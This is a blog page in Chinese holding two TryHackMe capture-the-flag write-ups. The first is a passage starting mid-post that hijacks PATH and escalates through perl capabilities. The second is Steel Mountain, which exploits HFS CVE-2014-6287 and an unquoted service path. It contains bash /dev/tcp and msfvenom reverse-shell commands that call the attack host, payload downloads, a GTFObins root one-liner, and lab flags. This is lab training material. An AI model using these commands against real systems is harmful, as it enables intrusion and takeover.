是假的7777777777777777777我們可以發現他的 system 裡面主要 call 了兩個東西- 第一個是 /bin/echo 第二個是 date 在這邊我先查詢了 /bin/echo 以及 /bin/date 發現都不可以修改想到我們可以做什麼事情了嗎?- 程式裡面的 system 呼叫的是 date 而不是 /bin/date 而在 Linux 中,如果不寫完整的路徑,就會去$PATH裡面抓 所以我們可以修改 $PATH ,增加路徑,並放上我們自己ㄉ date 檔案放一個 reverse shell/bin/bash -c '/bin/bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'再給他權限- chmod +x date攻擊機準備好 reverse shell- nc -vlk 7877再輸入以下指令- PATH=/home/rabbit:$PATH ./teaParty就可以收到 reverse shell 了!!- 我們目前到了 hatter 使用者 在根目錄可以發現一組 WhyIsARavenLikeAWritingDesk? 密碼,可以以此用 ssh 登入 hatter ssh hatter@10.10.166.15 提權 先透過 scp 把 linpeas 給傳到機器中輸入 bash linpeas.sh- 發現一些有趣的東西在 Capabilities 的地方可以看到- Files with capabilities 發現 perl 有 cap_setuid 去 GTFObins 上找就找到了 GTFObins 上面的 perl Capabilities- perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";' 就發現了我們拿到 root !!也就順利的拿到了 root 的 flag- thm{Twinkle, twinkle, little bat! How I wonder what you’re at!}到 /root 看看有什麼東西- 找到了 user.txt``thm{"Curiouser and curiouser!"} 把user.txt放在root目錄是不是搞錯了什麼

2021-08-05 · 2 分鐘 · steven

Steel Mountain (Try Hack Me Writeup)

URL : https://tryhackme.com/room/steelmountain IP : 10.10.27.172 Scan rustscan -a 10.10.27.172 nmap -A 10.10.27.172 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-05 01:58 EDT Nmap scan report for 10.10.27.172 Host is up (0.27s latency). Not shown: 989 closed ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 8.5 | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/8.5 |_http-title: Site doesn't have a title (text/html). 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds 3389/tcp open ssl/ms-wbt-server? | ssl-cert: Subject: commonName=steelmountain | Not valid before: 2021-08-04T05:45:04 |_Not valid after: 2022-02-03T05:45:04 |_ssl-date: 2021-08-05T05:59:31+00:00; 0s from scanner time. 8080/tcp open http HttpFileServer httpd 2.3 |_http-server-header: HFS 2.3 |_http-title: HFS / 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49155/tcp open unknown 49156/tcp open msrpc Microsoft Windows RPC Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows Host script results: |_nbstat: NetBIOS name: STEELMOUNTAIN, NetBIOS user: , NetBIOS MAC: 02:5d:12:51:16:37 (unknown) | smb-security-mode: | account_used: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2021-08-05T05:59:18 |_ start_date: 2021-08-05T05:44:25 Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 90.76 seconds 觀察首頁http://10.10.27.172/ 有一個 Employee of the month圖片網址 http://10.10.27.172/img/BillHarper.pngWho is the employee of the month?- Bill HarperScan the machine with nmap. What is the other port running a web server on?- 8080Take a look at the other web server. What file server is running?- 透過 NMAP 可以發現 HttpFileServer 公司叫做 rejetto 所以答案 Rejetto Http File ServerHFS 的版本 2.3 可以找到有一個CVE- https://www.exploit-db.com/exploits/39161 CVE-2014-6287 Exploit 下載檔案到 kaliwget https://www.exploit-db.com/download/39161 -O 39161.py 修改內部的 ip 及 port ip_addr = "10.13.21.55" local_port = "7878"這邊的 port 是指 reverse shell 的port另外依照 exploit 需求,需要在攻擊機 80 port 開一個 webserver,並在根目錄放一個 nc.exe- nc.exe 可以從這邊取得https://github.com/int0x33/nc.exe/blob/master/nc.exesudo python3 -m http.server 80- 使用 python 開啟 80 port 的 webserver並於本地端開啟 nc 監聽- nc -l 7877執行 exploit- python 39161.py 10.10.27.172 8080 就可以收到 shell ㄌ!- 使用 whoami 確認使用者名稱在使用者的桌面找到 user flag- b04763b6fcf51fcd7c13abc7db4fd365 觀察提權資訊 輸入 systeminfo 可以觀察到Microsoft Windows Server 2012 R2 Datacenter 下載 WinPeas.exe 進行掃描- powershell -c wget http://10.13.21.55:8000/winPEASx64.exe -outFile winPEASx64.exe執行 Winpeas 發現有可疑ㄉ引號路徑漏洞- 觀察 Services- 可以輸入 powershell -c Get-Service 觀察目前的所有 Services WinPeas 也已經很好心的告訴我們是 AdvancedSystemCareService9 了確認檔案與 Services 的權限- 先準備 https://docs.microsoft.com/en-us/sysinternals/downloads/accesschk 在攻擊機 powershell -c wget http://10.13.21.55:8000/accesschk.exe -outFile accesschk.exe觀察 Services 權限- accesschk.exe /accepteula -ucqv AdvancedSystemCareService9 可以發現我們的使用者 bill 可以幫 servicesStart Stop觀察檔案權限- accesschk -uwdq "C:\Program Files (x86)\"可以看到我們沒有權限 accesschk -uwdq "C:\Program Files (x86)\IoBit- 發現我們有 RW 權限!!透過 msfevon 產出一個 reverse shell- msfevon -p windows/x64_shell_reverse_tcp LHOST=10.13.21.55 LPORT=8877 -f exe -a Advanced.exe下載檔案並放置到 C:\Program Files (x86)- powershell -c wget http://10.13.21.55:8000/Advanced.exe -outFile Advanced.exe 準備 reverse shell 監聽nc -vlk 8877觀察 services- sc qc AdvancedSystemCareService9qc : Query system config停止 services- sc stop AdvancedSystemCareService9 重啟 services- sc start AdvancedSystemCareService9 會發現畫面卡住,因為我們的 reverse sehll 已經接上了!! 取得 root flag- 9af5f314f57607c00fd09803a587db80

2021-08-05 · 3 分鐘 · steven